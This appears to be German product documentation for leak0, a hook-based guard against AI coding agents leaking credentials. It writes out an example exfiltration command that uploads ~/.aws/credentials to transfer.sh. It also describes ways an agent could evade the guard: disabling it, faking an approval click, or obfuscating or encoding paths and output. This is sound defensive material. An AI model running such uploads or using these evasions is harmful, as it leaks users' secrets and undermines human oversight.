leak0: Schutz vor Credential-Exfiltration
leak0 verhindert, dass Ihre KI-Agenten Secrets wie API-Keys, Tokens oder Zugangsdateien nach außen geben (Exfiltration). Es prüft Ihre Eingaben, die Tool-Aufrufe der Agenten und deren Ausgaben direkt auf Ihrem Gerät. Geblockt wird nur, was leak0 beweisen kann.
Begriffe
| Begriff | Bedeutung |
|---|---|
| Hook | Ein Einstiegspunkt, den der Agent anbietet: Vor oder nach einem Schritt ruft der Agent leak0 auf und wartet auf die Antwort. leak0 arbeitet nur über diese Hooks. |
| Tool-Aufruf | Eine Aktion des Agenten, etwa ein Shell-Befehl, ein Dateizugriff, ein Web-Abruf oder ein MCP-Aufruf. |
| Block | leak0 stoppt den Tool-Aufruf, bevor er läuft. Nur mit Beweis. |
| Rückfrage | Der Agent hält an und fragt Sie, ob der Aufruf laufen soll. |
| Hinweis | Der Aufruf läuft, und leak0 gibt dem Agenten eine Textmeldung zum Treffer zurück. |
| Schwärzen | leak0 ersetzt einen Secret-Wert in einer Tool-Ausgabe durch einen Platzhalter, bevor das Modell ihn sieht. |
| Kurz-Hash | Ein kurzer Fingerabdruck eines Werts. Er kennzeichnet einen Treffer in Meldung und Audit, ohne den Wert zu verraten. |
| Platzhalter | Ein erkennbarer Beispielwert statt eines echten Secrets, etwa your-api-key-here, <token> oder ${API_KEY}. |
| PoisonZero-Dialog | Ein Fenster von PoisonZero im Vordergrund Ihres Desktops. Es fragt, ob ein Commit mit einer Secret-Datei laufen darf, wenn der Agent selbst nicht nachfragen kann. Vorausgewählt ist Blockieren. |
| Systemanmeldung | Das Anmeldefenster Ihres Betriebssystems, etwa mit Touch ID, PIN oder Passwort. Es erscheint nur, wenn Sie Zulassen wählen. Ein Agent kann diese Anmeldung nicht selbst geben. |
Prüfumfang
leak0 prüft vier Wege, auf denen ein Secret Ihr Gerät verlassen oder an eine falsche Stelle geraten kann.
| Weg | Beispiele | Wann geprüft |
|---|---|---|
| 1 Commit und Veröffentlichen | git add, git push, npm publish u. a. | Vor dem Aufruf (Shell-Hook) |
| 2 Netz und Tools an Dritte | curl, scp, Web-Abrufe, MCP-Aufrufe | Vor dem Aufruf (Shell-, Web- und MCP-Hook) |
| 3 Secret ins Modell | cat ~/.aws/credentials, env, ein Token in Ihrer Eingabe | Vor dem Aufruf (Eingabe- und Lese-Hook) und in der Ausgabe danach (Ausgabe-Hook) |
| 4 Secret in falsche Dateien | Ein Token fest im Code, in einer CI-Datei, einer README oder einer Memory-Datei | Vor dem Schreiben (Schreib-Hook) |
Wann leak0 blockt
Ein Block braucht einen von fünf Beweisen, B1 bis B5. Fehlt der Beweis, blockt leak0 nicht, sondern fragt nach, schwärzt oder gibt einen Hinweis.
| Beweis | Wann er erfüllt ist | Beispiel |
|---|---|---|
| B1 Bekannte Credential-Datei | Der Aufruf betrifft eine bekannte Zugangsdatei, und ihr Inhalt bestätigt den Typ. leak0 folgt dazu Symlinks und normalisiert Windows-Pfade. | ~/.aws/credentials, eine Service-Account-JSON, ein privater SSH-Schlüssel |
| B2 Token mit Prüfsumme | Der Token hat ein bekanntes Präfix und eine gültige Prüfsumme. Das gilt nur für Token-Arten, die eine Prüfsumme tragen. | GitHub ghp_…, npm_…, GitLab glpat-… u. a. |
| B3 Bekannter Secret-Wert | Ein Wert, den leak0 in derselben Sitzung schon als Secret erkannt hat, steht wörtlich in einem ausgehenden Aufruf. | Der Inhalt von ~/.aws/credentials im Body eines curl-Aufrufs |
| B4 Secret an Dritte | Das Secret steht in den gesendeten Daten (Body, Upload, Gist, DNS-Name), und das Ziel gehört nachweislich nicht Ihnen: ein Paste-, Ablage-, Request-Sammel- oder Tunnel-Dienst, eine öffentliche IP-Adresse oder eine öffentliche Veröffentlichung. | curl -F f=@~/.aws/credentials https://transfer.sh |
| B5 leak0 abschalten | Der Agent versucht, leak0 abzuschalten, oder entfernt oder ändert die PoisonZero-Einträge in seinen Hook-Einstellungen. | poisonzero leak0 off, vom Agenten ausgeführt |
Was eine Meldung enthält
Bei jedem Block und jeder Rückfrage erhält der Agent eine Meldung. Den Secret-Wert nennt sie nie. Sie enthält:
- leak0 als Absender und den Beweis (B1 bis B5)
- die Regelklasse mit dem Präfix
leak0:, etwaleak0:checksum_token_commit - die Art des Beweises: Pfad aufgelöst, Struktur, Prüfsumme oder Hash-Treffer
- den Kurz-Hash des Werts
- den Weg, leak0 abzuschalten
Wann leak0 nicht blockt
leak0 blockt nur, wenn ein Abfluss bewiesen ist. In diesen Fällen fehlt der Beweis, deshalb gibt es dort nie einen Block.
| Situation | Was leak0 tut |
|---|---|
Ein Token geht an seine eigene Anmeldestelle, etwa im Authorization-Header oder als user:token@host | Kein Block; je nach Fall Rückfrage oder Hinweis |
Kopie auf Ihre eigenen Server (scp, rsync), S3-kompatibler Speicher, selbst betriebenes GitLab oder Vault | Kein Block; bei einer Credential-Datei eine Rückfrage |
.env-Dateien, Shell-Startdateien wie ~/.zshrc, PEM-Dateien im Repository | Kein Block; Rückfrage, Schwärzen oder Hinweis |
Eine Secret-Datei mit echten Werten in einem Testordner, etwa tests/.env oder fixtures/credentials | Rückfrage statt Block |
Platzhalter und Beispielwerte in Testordnern und Vorlagen, etwa .env.example | Läuft ohne Eingriff |
Ein Token mit Prüfsumme in einem Doku-Ordner, etwa docs/ oder examples/ | Rückfrage statt Block |
Testordner sind Ordner im Repository mit genau einem dieser Namen: test, tests, testdata, fixtures, fixture, __tests__, __fixtures__, __mocks__. Dazu zählen Testdateien wie *_test.*, *.spec.* und *.test.* sowie Vorlagen mit der Endung .example, .sample oder .template.
Maßgeblich ist der Pfad ab der Wurzel des Repositorys. Der Ordner, in dem das Repository liegt, zählt nicht: Ein Projekt unter ~/TestApp prüft leak0 wie jedes andere.
Doku-Ordner (docs, doc, examples, example, samples, sample, spec) mildern nur Treffer von Tokens. Secret-Dateien prüft leak0 dort wie überall: docs/.env mit echten Werten führt zur Rückfrage, eine echte Zugangsdatei zum Block.
Neue Secret-Dateien in Git
Nimmt ein Git-Befehl eine neue Secret-Datei auf, etwa eine .env, eine Credential-Datei oder eine Schlüsseldatei, prüft leak0 ihren Inhalt. Die Meldung nennt den Dateinamen, nie den Wert.
| Situation | Was leak0 tut |
|---|---|
git add . oder git add -A nimmt eine Secret-Datei mit echten Werten auf | Rückfrage mit dem Dateinamen |
git commit -a oder git commit mit Pfaden enthält eine solche Datei | Rückfrage mit dem Dateinamen |
git push, auch mit --tags oder als erster Push, sendet eine solche Datei | Rückfrage mit dem Dateinamen |
Die Datei ist eine bewiesene Zugangsdatei (B1), etwa eine credentials-Datei von AWS | Block |
.env.example oder eine Datei nur mit Platzhaltern | Läuft ohne Eingriff |
| Die Prüfung wird in der verfügbaren Zeit nicht fertig | Rückfrage, wo der Agent selbst nachfragt, sonst Block mit der Bitte, es erneut zu versuchen. Der Aufruf läuft nie ungeprüft durch. |
Wer die Rückfrage stellt, hängt vom Agenten ab:
| Agent | Rückfrage bei einer Secret-Datei in Git |
|---|---|
| Claude Code, Cursor und Antigravity CLI | Der eigene Bestätigungsdialog des Agenten |
| Codex und Gemini CLI | Der PoisonZero-Dialog, Zulassen mit Systemanmeldung |
Freigabe im PoisonZero-Dialog
Codex und Gemini CLI können aus dem Hook nicht selbst nachfragen. Bei einer Secret-Datei in Git fragt deshalb PoisonZero, in zwei Schritten. Beide Fenster tragen den Titel „poison0 agent: leak0 safeguard“.
| Schritt | Was passiert |
|---|---|
| 1. PoisonZero-Dialog | Erscheint im Vordergrund und nennt Produkt, Agent, Datei und Grund, nie den Wert. Vorausgewählt ist Blockieren: ein Klick, ohne Passwort. |
| 2. Systemanmeldung | Nur wenn Sie Zulassen wählen, erscheint sofort im Vordergrund das Anmeldefenster Ihres Betriebssystems. Sie melden sich mit Ihrem eigenen Konto an. |
| Situation | Wirkung |
|---|---|
| Sie wählen Zulassen und melden sich an | Der Aufruf läuft, einmal |
| Sie wählen Blockieren | Block. Der Agent erhält den Text, dass Sie abgelehnt haben, und die Bitte, Sie zu fragen. |
| Sie brechen die Anmeldung ab, oder das Passwort ist falsch | Block |
| Keine Antwort innerhalb von 90 Sekunden | Block |
| Der Agent versucht es nach einer Ablehnung oder ohne Antwort erneut | 60 Sekunden lang kein neuer Dialog für dieselbe Datei. Block mit einem klaren Text an den Agenten. |
| Mehr als drei Dialoge in einer Minute | Block ohne Dialog. Der Agent erhält den Hinweis auf zu viele Anfragen. |
| Kein Desktop: SSH-Sitzung, CI, niemand angemeldet oder der PoisonZero-Dienst ist nicht erreichbar | Block. Die Meldung nennt poisonzero leak0 allow <datei> für Ihr eigenes Terminal. |
Warum eine Systemanmeldung? Ein Agent kann einen Klick auf Zulassen selbst auslösen, etwa über UI-Automatisierung. Die Anmeldung Ihres Betriebssystems kann er nicht geben. Ein Klick allein lässt deshalb nichts durch.
| Betriebssystem | Anmeldefenster |
|---|---|
| macOS | Das Systemfenster von macOS mit Touch ID oder Passwort |
| Windows | Das Fenster „Windows-Sicherheit“ mit dem Text von PoisonZero. Ist eine PIN oder ein Fingerabdruck eingerichtet, bietet Windows sie dort an. |
| Linux | Die Systemanmeldung von polkit. PoisonZero sieht das Passwort nie. |
Es zählt die Anmeldung des Kontos, unter dem der Agent läuft; Adminrechte brauchen Sie nicht. Claude Code fragt weiter in seinem eigenen Bestätigungsdialog.
Freigabe im eigenen Terminal
Ohne Desktop, etwa per SSH, blockt leak0 und nennt den Befehl poisonzero leak0 allow <datei>. Führen Sie ihn in Ihrem eigenen Terminal aus, nicht über den Agenten. Danach lassen Sie den Agenten den Commit oder Push wiederholen.
| Befehl | Wirkung |
|---|---|
poisonzero leak0 allow <datei> | Gibt genau den aktuellen Inhalt der Datei frei: 10 Minuten lang für beliebig viele Commits und für einen Push, den ersten mit der Datei. Mehrere Dateien sind möglich. |
- Bestätigung: Ihr eigenes Passwort, in Ihrem eigenen Terminal. Adminrechte brauchen Sie nicht. Unter macOS und Linux geht es auch mit
sudo. - Nur dieser Inhalt: Ändert sich die Datei danach, gilt die Freigabe nicht mehr.
- Fehlversuche: Zwischen zwei Versuchen liegen 3 Sekunden. Nach 5 Fehlversuchen ist die Freigabe 15 Minuten gesperrt.
- Dienst: Der PoisonZero-Dienst prüft die Anmeldung, stellt die Freigabe aus und speichert sie. Er muss laufen.
- Nicht durch den Agenten: Führt der Agent den Befehl selbst aus, blockt leak0 ihn (B5).
- Die Meldung an den Agenten nennt den Befehl auch nach einer Ablehnung im Dialog.
Freigabe durch Nutzer im Profil
In Cloud-Profilen legt der Admin fest, ob Personen am Gerät Commits mit Secret-Dateien selbst freigeben dürfen. Konsole: Bereich leak0, Schalter Nutzer dürfen Commits mit Secret-Dateien selbst freigeben. Standard: an.
| Schalter | Was leak0 tut |
|---|---|
| An | Rückfrage im Dialog des Agenten oder im PoisonZero-Dialog. Freigabe mit poisonzero leak0 allow möglich. |
| Aus | Block bei jedem Agenten, auch bei Claude Code. Die Meldung bittet, sich an den Admin zu wenden. poisonzero leak0 allow lehnt die Freigabe ab, bestehende Freigaben zählen nicht. |
Private Geräte haben diesen Schalter nicht. Dort ist die Freigabe immer möglich.
Desktop-Benachrichtigung bei Block
Blockt leak0 einen Aufruf, zeigt PoisonZero auf Wunsch eine Desktop-Benachrichtigung: Agent, Tool und was geblockt wurde, etwa „Token im Commit“. Ein Secret-Wert, ein Pfad oder ein Befehl steht nie darin.
| Punkt | Verhalten |
|---|---|
| Einschalten | Konsole: Profil, Einstellung Hinweis bei Abwehr. Private Geräte: sudo poisonzero notify on; die lokale Einstellung hat Vorrang vor dem Profil. Standard: aus. |
| Wann | Bei einem Block. Rückfragen, Schwärzen und Hinweise lösen keine Benachrichtigung aus. |
| Für wen | Für die Person, die am Desktop angemeldet ist und deren Agent geblockt wurde |
| Häufigkeit | Derselbe Block höchstens einmal je Minute, mindestens 5 Sekunden zwischen zwei Benachrichtigungen |
Unterstützte Agenten
leak0 unterstützt fünf Agenten. Was es je Agent tut, hängt von den Hooks ab, die der Agent anbietet.
| Agent | Betriebssysteme |
|---|---|
| Claude Code | macOS, Linux und Windows |
| Codex (CLI und IDE) | macOS, Linux und Windows |
| Cursor | macOS und Linux |
| Gemini CLI | macOS, Linux und Windows |
| Antigravity CLI | macOS, Linux und Windows |
| Agent | Blockieren | Rückfrage | Secrets in Tool-Ausgaben schwärzen | Eingaben prüfen |
|---|---|---|---|---|
| Claude Code | ja | ja, Dialog | ja, nur der Wert | ja |
| Codex (CLI und IDE) | ja | PoisonZero-Dialog bei Secret-Dateien in Git, sonst Hinweis | ja, nur der Wert | ja |
| Cursor | ja | Dialog bei Shell- und MCP-Aufrufen | bei MCP-Ausgaben | ja |
| Gemini CLI | ja | PoisonZero-Dialog bei Secret-Dateien in Git, sonst Hinweis | ja, nur der Wert | ja |
| Antigravity CLI | ja | ja, Dialog | nicht verfügbar | nicht verfügbar |
Was die Spalten bedeuten
- Blockieren: leak0 stoppt den Tool-Aufruf, bevor er läuft, wenn einer der Beweise B1 bis B5 vorliegt. Das gilt bei allen fünf Agenten.
- Rückfrage: Ist ein Secret wahrscheinlich, aber nicht bewiesen, etwa bei
git add .env, wird vor der Ausführung gefragt. Claude Code und Antigravity CLI zeigen dafür ihren Bestätigungsdialog, Cursor bei Shell- und MCP-Aufrufen. Codex und Gemini CLI: bei Secret-Dateien in Git der PoisonZero-Dialog, siehe Freigabe im PoisonZero-Dialog. - Hinweis (Spalte Rückfrage): Für andere Rückfragen bieten Codex und Gemini CLI aus dem Hook keinen Dialog an. Dort läuft der Aufruf, und leak0 gibt dem Agenten eine Textmeldung zurück, die den Treffer nennt.
- Secrets in Tool-Ausgaben schwärzen: Erscheint ein Secret in der Ausgabe eines Tools, etwa bei
cat .env, ersetzt leak0 nur den Wert, bevor das Modell ihn sieht:OPENAI_API_KEY=[leak0:openai:a1b2]. Lässt sich der Wert nicht einzeln finden, hält leak0 die ganze Ausgabe zurück. Cursor: bei MCP-Ausgaben. Antigravity CLI: nicht verfügbar, weil der Agent nur einen Hook vor dem Tool-Aufruf anbietet. Shell- und Dateiausgaben in Cursor: ein Hinweis an den Agenten, im Audit alsleak0_warned. - Eingaben prüfen: leak0 prüft Ihre eigene Eingabe, etwa einen eingefügten Token, bevor sie an das Modell geht. Antigravity CLI: nicht verfügbar. Cursor CLI im Print-Modus (
-p) ruft den Eingabe-Hook nicht auf.
Ist eine Tool-Ausgabe zu groß, um sie in der verfügbaren Zeit zu prüfen, hält leak0 sie im Modus An zurück. Der Agent erhält den Hinweis, den Befehl enger zu fassen, etwa mit head oder grep.
Treffer, die weder einen Block noch eine Rückfrage rechtfertigen, beantwortet leak0 mit einem Hinweis: bei Codex, Cursor und Gemini CLI immer, bei Claude Code, solange exec0 aus ist. Antigravity CLI hat kein Feld für Hinweise; dort läuft der Aufruf ohne Meldung.
Anmerkungen
- Codex: Die eingebaute Websuche läuft beim Anbieter ohne Hook und wird nicht geprüft.
- Cloud-Ausführungen wie Codex Cloud oder der Copilot Cloud Agent laufen nicht auf Ihrem Gerät; leak0 sieht sie nicht.
poisonzero leak0 statuszeigt jeden Agenten auf dem Gerät als geschützt, teilweise geschützt oder nicht geschützt.
Agenten, die leak0 (noch) nicht unterstützt
| Agent | Grund |
|---|---|
| GitHub Copilot CLI, VS Code Agent, Windsurf, Cline (macOS und Linux), Kiro, Goose, Augment (Auggie), Junie CLI, Factory Droid, Amp, OpenCode, Cortex Code CLI, Qwen Code, Kilo Code, Crush, OpenHands, Open Interpreter, gptme, Kimi Code CLI, Mistral Vibe, Pi, Grok CLI, Tabnine CLI | Hooks vorhanden, in dieser Version nicht unterstützt |
| Xcode-Coding-Assistent (Claude Code, Codex und Gemini CLI in Xcode) | Liest seine eigene Konfiguration aus ~/Library/Developer/Xcode/CodingAssistant/; in dieser Version nicht geschützt |
| Aider | Kein Hook-System; Auto-Commits laufen standardmäßig mit --no-verify |
| Zed | Nur feste Regeln je Tool, kein ausführbarer Hook |
| Cline unter Windows | Keine Hooks unter Windows |
| Cursor unter Windows | In dieser Version unter macOS und Linux unterstützt |
| Amazon Q Developer CLI | Produkt eingestellt |
| Warp, Roo Code, Continue (IDE-Erweiterung), Trae, Void, Plandex, Qodo, GitHub Copilot in Visual Studio, JetBrains, Xcode und Eclipse, JetBrains AI Assistant, Gemini Code Assist, Android Studio Gemini, Databricks Assistant, Snowflake VS Code Extension, Sourcegraph Cody, Letta Code, Tabby, Raycast AI, Google Jules CLI, Pieces, Flowise, Dify, LibreChat | Kein nutzbarer Hook bekannt |
Abgrenzung
Diese Fälle deckt leak0 nicht oder nur teilweise ab. Die rechte Spalte nennt, was stattdessen greift.
| Nicht abgedeckt | Grund | Stattdessen |
|---|---|---|
| Memory Poisoning, auch wenn die vergiftete Anweisung lautet, Secrets zu verschicken | Eigener Schutz | poison0, siehe Was der poison0-Agent macht |
| Missbrauch ohne Abfluss: Credential-Datei überschreiben oder löschen, Rechte lockern, Tokens mit zu weitem Umfang erzeugen | Kein Secret verlässt den Rechner | exec0 |
| Prompt Injection in Inhalten, die der Agent liest | Anderes Risiko | inject0 |
Verschleierte Pfade, etwa über Wildcards, Variablen, $(...) oder Unterprozesse | Der Pfad steht nicht beweisbar im Befehl | Kein Block; die Ausgabe wird geschwärzt, wo der Agent es erlaubt |
| Umkodierte oder zerlegte Ausgabe, etwa als Hex oder in Stücken | Eine Prüfsumme trifft nur den ganzen Wert | Die ganze Ausgabe wird zurückgehalten, wenn eine Credential-Datei die Quelle eines umformenden Befehls ist |
| Skripte, Makefiles, Git-Hooks oder CI, die später starten | Schreiben und Starten sind getrennte Aufrufe | Block nur, wenn das geschriebene Skript in derselben Pipeline eine Credential-Datei an ein nachweislich fremdes Ziel sendet; sonst ein Hinweis |
| Secrets ohne bekanntes Format, etwa Passwörter | Nicht beweisbar | Schwärzen nach Feldname in bekannten Credential-Dateien; nie ein Block |
| Widerrufene oder Test-Tokens mit gültiger Prüfsumme | Offline nicht von echten Tokens zu unterscheiden | Unter Test-, Fixture- und Doku-Pfaden eine Rückfrage statt eines Blocks |
| Online-Prüfung, ob ein Token noch gilt | leak0 prüft nur offline | Nicht Teil von leak0 |
Wege ohne Hook: Websuche von Codex, !-Befehle in Claude Code, Telemetrie, Eingaben in einem Terminal neben dem Agenten | Kein Hook sieht sie | Nicht abgedeckt |
| Klartext auf der Platte: Transkripte und Telemetrie der Agenten | leak0 ändert, was das Modell und fremde Hosts sehen, nicht was der Agent speichert | Nicht abgedeckt |
| Eine eigene Sandbox oder ein eigener Starter für Agenten | leak0 arbeitet nur über die Hooks der Agenten | Nicht Teil von leak0 |
Betriebsmodi
| Modus | In der Konsole | Wirkung |
|---|---|---|
enforce | An | Blockt mit Beweis, fragt nach, schwärzt und gibt Hinweise. |
observe | Beobachten | Protokolliert jeden Treffer mit Beweis. Blockt nie, fragt nie nach, schwärzt nicht. |
off | Aus | Keine Prüfung. Ist auch exec0 aus, endet der Hook sofort. |
leak0 ist nie still aktiv. Es ist nur nach einer Entscheidung an: im Installer, mit PZ_SETUP_LEAK0, mit sudo poisonzero leak0 enforce oder im Konsolenprofil. Ohne eine davon ist der Modus off.
- Reihenfolge: lokale Einstellung, dann Profil, dann
off. Auf Cloud-Geräten zählt die lokale Einstellung nicht. - leak0 ist unabhängig von exec0: leak0 an und exec0 aus ist eine gültige Einstellung. Beide laufen im selben Hook-Eintrag; leak0 prüft zuerst.
- leak0 ist in Solo Dev, Pro und Enterprise enthalten.
Konfiguration im Cloud-Modus
- In der Konsole Settings → Profile öffnen.
- Enterprise: beim Profil auf Bearbeiten klicken. Solo Dev und Pro: das Profil steht direkt in diesem Abschnitt.
- Im Bereich leak0 An, Beobachten oder Aus wählen. Bestehende Profile stehen zunächst auf Aus; bei einem neuen Profil ist An vorausgewählt.
- Optional eigene Secret-Dateien und Ausnahmen in die beiden Listen eintragen und festlegen, ob Nutzer Commits mit Secret-Dateien selbst freigeben dürfen.
- Speichern. Cloud-Geräte übernehmen die Einstellung beim nächsten Abgleich mit der Konsole und ergänzen fehlende Hook-Einträge; Codex-Nutzer bestätigen neue Hooks in Codex mit
/hooks.
| Profilfeld | Werte | Grenze |
|---|---|---|
leak0.mode | enforce, observe, off | off, bis gesetzt |
leak0.secretFiles | Liste aus { path, keys }: path ist ein Glob, ~ und %USERPROFILE% sind erlaubt; keys nennt optional die Felder mit dem Secret | höchstens 200 Einträge |
leak0.exclusions | Liste von Globs, die leak0 nicht als Secret-Quelle behandelt | höchstens 200 Einträge |
leak0.userMayApprove | true, false: Personen am Gerät dürfen Commits mit Secret-Dateien freigeben | true, bis gesetzt |
Auf Cloud-Geräten verweigern die ändernden poisonzero leak0-Befehle außer clear die Ausführung; es gilt die Konsole. Auf privaten Profilen zeigt die Konsole statt der Einstellung einen Hinweis, dass sie nur für Cloud-Geräte gilt.
Konfiguration im privaten Modus
Private Geräte werden nicht über die Konsole gesteuert. Alles wird mit der CLI am Gerät eingestellt.
| Befehl | Wirkung |
|---|---|
poisonzero leak0 status | Zeigt Modus, Quelle (lokal, Profil, Standard), wie viele Secret-Dateien und Ausnahmen Ihre Listen enthalten (poisonzero leak0 file list und exclude list zeigen sie) und den Schutz je Agent. Ist leak0 aus, nennt es den Befehl zum Einschalten. |
poisonzero leak0 allow <datei> | Gibt eine Secret-Datei mit ihrem aktuellen Inhalt für Commits (10 Minuten) und einen Push frei, mit Ihrer Systemanmeldung; siehe Freigabe im eigenen Terminal |
sudo poisonzero leak0 enforce | Schaltet leak0 an |
sudo poisonzero leak0 observe | Nur beobachten |
sudo poisonzero leak0 off | Schaltet leak0 aus |
sudo poisonzero leak0 clear | Entfernt die lokale Einstellung; danach gilt wieder das Profil oder off |
sudo poisonzero leak0 file add <glob> --keys k1,k2 | Fügt eine eigene Secret-Datei hinzu; --keys ist optional |
sudo poisonzero leak0 file remove <glob> | Entfernt sie wieder |
poisonzero leak0 file list | Listet Ihre Secret-Dateien |
sudo poisonzero leak0 exclude add <glob> | Fügt eine Ausnahme hinzu |
sudo poisonzero leak0 exclude remove <glob> | Entfernt sie wieder |
poisonzero leak0 exclude list | Listet die Ausnahmen |
sudo in einem als Administrator geöffneten Terminal ausführen.Die Einstellungen liegen im Datenverzeichnis: /var/lib/poisonzero (Linux), /Library/Application Support/PoisonZero (macOS), <ProgramData>\PoisonZero (Windows), siehe Den poison0-Agenten installieren.
| Datei | Inhalt | Geschrieben von |
|---|---|---|
leak0mode | Lokaler Schalter: enforce, observe oder off | poisonzero leak0 enforce, observe, off |
leak0.local.json | Ihre Listen: {"secretFiles": [...], "exclusions": [...]} | poisonzero leak0 file und exclude |
leak0.profile | Kopie der leak0-Einstellung aus dem Konsolenprofil | Der poison0-Agent, nur auf Cloud-Geräten |
Installation
Im Terminal fragt der Installer, ob leak0 eingeschaltet werden soll: An, Beobachten oder Aus, mit An vorausgewählt. Das gilt auch für die Installation mit curl -fsSL https://poisonzero.com/install.sh | sudo sh.
Unbeaufsichtigte Installationen (MDM, Fleet-Werkzeuge, Skripte) lesen PZ_SETUP_LEAK0; ohne die Variable bleibt leak0 aus. Auf Cloud-Geräten entscheidet das Konsolenprofil.
| Variable | Werte | Ohne die Variable |
|---|---|---|
PZ_SETUP_LEAK0 | enforce, observe, off | Interaktiv: die Frage oben. Unbeaufsichtigt: off |
curl -fsSL https://poisonzero.com/install.sh | sudo PZ_SETUP_LEAK0=enforce sh
$env:PZ_SETUP_LEAK0='enforce' irm https://poisonzero.com/install.ps1 | iex
Hook-Einträge
| Situation | Was passiert |
|---|---|
| Den poison0-Agenten installieren | Der Installer trägt die PoisonZero-Hooks bei jedem unterstützten Agenten ein, den er findet: unter macOS und Linux bei Claude Code, Codex, Cursor, Gemini CLI und Antigravity CLI, unter Windows bei Claude Code, Codex, Gemini CLI und Antigravity CLI. Codex fragt einmal, ob Sie dem neuen Hook vertrauen: bestätigen Sie ihn in Codex mit /hooks. |
| leak0 oder exec0 ausschalten | Die Hook-Einträge bleiben. Jedes Produkt wird zur Laufzeit an- oder ausgeschaltet, unabhängig vom anderen. |
| Den poison0-Agenten deinstallieren | Nur das entfernt die Hook-Einträge. |
| Ein Admin schaltet leak0 in einem Cloud-Profil ein | Das Gerät ergänzt fehlende Hook-Einträge beim nächsten Abruf der Konfiguration. Codex fragt, ob Sie neuen Hooks vertrauen: bestätigen Sie sie in Codex mit /hooks. poisonzero leak0 status zeigt, wenn eine Bestätigung aussteht. |
| Claude Code: Der Hook läuft nicht (Binary fehlt, Absturz, Zeitüberschreitung) | Läuft leak0 oder exec0 im Modus enforce (leak0: An, exec0: Schutz), blockiert Claude Code den Tool-Aufruf. Sind beide auf Beobachten oder Aus, setzt Claude Code den Aufruf fort. |
| Codex, Cursor, Gemini CLI, Antigravity CLI: Der Hook läuft nicht | Der Agent setzt den Aufruf fort (fail-open). Bei Cursor ist failClosed nicht aktiviert. |
Bestehende Geräte: Ein Update schaltet leak0 nicht ein. Es bleibt aus, bis Sie sudo poisonzero leak0 enforce ausführen oder es im Konsolenprofil einschalten.
Audit
Jede Entscheidung von leak0 wird als Audit-Ereignis geschrieben.
| Aktion | Bedeutung | Lokales Audit | Konsolen-Audit (Cloud-Modus) |
|---|---|---|---|
leak0_blocked | Aufruf mit Beweis geblockt | ja | ja |
leak0_asked | Rückfrage gestellt. Bei Codex und Gemini CLI mit dem Ergebnis des PoisonZero-Dialogs: zugelassen, abgelehnt, keine Antwort oder kein Dialog möglich | ja | ja |
leak0_redacted | Wert in einer Tool-Ausgabe geschwärzt | ja | ja |
leak0_warned | Gewarnt: Der Agent lässt den Eingriff nicht zu, etwa das Schwärzen einer Shell- oder Dateiausgabe in Cursor. leak0 gibt dem Agenten einen Hinweis. | ja | ja |
leak0_observed | Treffer im Modus observe, kein Eingriff | ja | Nur wenn im Profil „Auch in der Konsole (Cloud-Audit)“ eingeschaltet ist; Standard: aus |
leak0_granted | Datei mit poisonzero leak0 allow nach Ihrer Systemanmeldung freigegeben. Mit Benutzer, Anzahl der Dateien und Kurz-Hash je Datei | ja | ja |
leak0_grant_failed | Freigabe gescheitert: Anmeldung falsch oder abgebrochen | ja | ja |
leak0_grant_locked | Freigabe ohne Anmeldung abgelehnt, weil zu viele Anmeldungen fehlgeschlagen sind | ja | ja |
Felder je Ereignis: Agent, Tool, Regelklasse, Modus und ein Kurz-Hash. Nie enthalten sind der Secret-Wert, der Pfad und der Befehl. In der Konsole tragen die Ereignisse eigene Bezeichnungen; leak0_blocked und leak0_redacted zählen als Incidents. leak0_warned zählt nicht als Incident. Ein erneuter Versuch in den 60 Sekunden nach einer Ablehnung und ein Versuch über der Dialoggrenze stehen jeweils als eigener leak0_blocked-Eintrag im Audit. War die Freigabe für genau diesen Inhalt schon durch einen Push verbraucht, nennt der Eintrag das. leak0_granted und leak0_grant_locked zählen als Incidents.
Datenschutz
| Daten | Cloud-Modus | Privater Modus |
|---|---|---|
| Inhalt von Prompts, Befehlen, Dateien und Ausgaben | Auf dem Gerät geprüft, für die Prüfung nicht gesendet | Auf dem Gerät geprüft |
| Secret-Werte | Nie im Audit oder Journal | Nie im Audit oder Journal |
| Sitzungszustand (Pfade von Kopien, Kurz-Hashes erkannter Werte) | Auf dem Gerät, eine Datei je Sitzung, nur für Ihr Benutzerkonto lesbar, gelöscht am Sitzungsende, wo der Agent es meldet (Claude Code), sonst nach 24 Stunden | Ebenso |
| Audit-Eintrag (Zeit, Aktion, Tool, Regelklasse, Kurz-Hash), ohne Inhalt | Auf dem Gerät und im Konsolen-Audit | Nur auf dem Gerät |
Nie im Audit: Werte, Pfade, Befehle, Argumente oder Ihr Prompt. Vollständige Liste: Was der Cloud-Modus sendet.
Vergleich mit exec0 und Memory-Schutz
| Memory-Schutz | exec0 | leak0 | |
|---|---|---|---|
| Prüft | Änderungen an Memory- und Anweisungsdateien der Agenten | Jeden Tool-Aufruf auf Schaden | Prompts, Tool-Aufrufe und Ausgaben auf Secret-Abfluss |
| Entscheidet mit | Melira AI und Regeln | Festen Regeln und Melira AI | Festen Regeln mit Beweis, ohne Modell |
| Läuft | Auf Ihrem Gerät | Auf Ihrem Gerät | Auf Ihrem Gerät |
Weiterlesen
Schädliche Tool-Aufrufe: exec0. Was poison0 schützt: Was der poison0-Agent macht. Modus wählen: Cloud oder Private.